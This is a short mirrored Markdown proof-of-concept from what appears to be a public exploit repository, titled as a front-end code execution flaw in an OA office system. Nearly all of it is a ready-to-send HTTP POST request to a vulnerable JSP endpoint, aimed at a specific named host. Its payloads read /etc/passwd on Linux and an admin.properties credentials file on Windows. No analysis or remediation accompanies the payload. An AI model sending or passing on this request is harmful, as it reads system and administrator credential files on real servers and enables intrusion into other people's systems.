mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-30 06:24:42 +00:00
17 lines
442 B
Markdown
17 lines
442 B
Markdown
|
## 某凌OA前台代码执行
|
||
|
|
```
|
||
|
|
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
|
||
|
|
Host: www.ynjd.cn:801
|
||
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||
|
|
Accept: /
|
||
|
|
Connection: Keep-Alive
|
||
|
|
Content-Length: 42
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
|
||
|
|
var={"body":{"file":"file:///etc/passwd"}}
|
||
|
|
```
|
||
|
|
var={"body":{"file":"file:///etc/passwd"}} // linux
|
||
|
|
|
||
|
|
|
||
|
|
var={"body":{"file":"/WEB-INF/KnssConfig/admin.properties"}} //windows
|